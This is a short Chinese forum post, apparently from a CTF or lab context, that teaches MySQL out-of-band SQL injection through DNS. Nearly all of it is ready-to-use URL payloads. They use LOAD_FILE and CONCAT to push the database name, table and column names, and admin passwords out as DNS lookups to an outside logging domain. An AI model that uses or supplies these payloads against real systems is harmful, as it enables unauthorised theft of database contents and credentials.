5.2.2、MYSQL 注入 - Dns注入

繁夜   ·   发表于 2019-02-15 14:42:23   ·   技术文章投稿区

首先需要有一个DNS平台 然后开始注入

爆库

/1.txt?id=1 and (SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.45 xxx.xxxx.io\\abc')))%23

爆表

/1.txt?id=1 and (SELECT LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema='mangzhu' limit 0,1),'.45w0nf.ceye.io\\abc')))%23

爆字段

/1.txt?id=1 and (SELECT LOAD_FILE(CONCAT('\\\\',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.45w0nf.ceye.io\\abc')))%23


然后一行一行爆flag

/1.txt?id=1 and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password from admin limit 1,1),'.45w0nf.ceye.io\\abc')))%23

打赏我,让我更有动力~

0 Reply   |  Until 2019-2-15 | 868 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.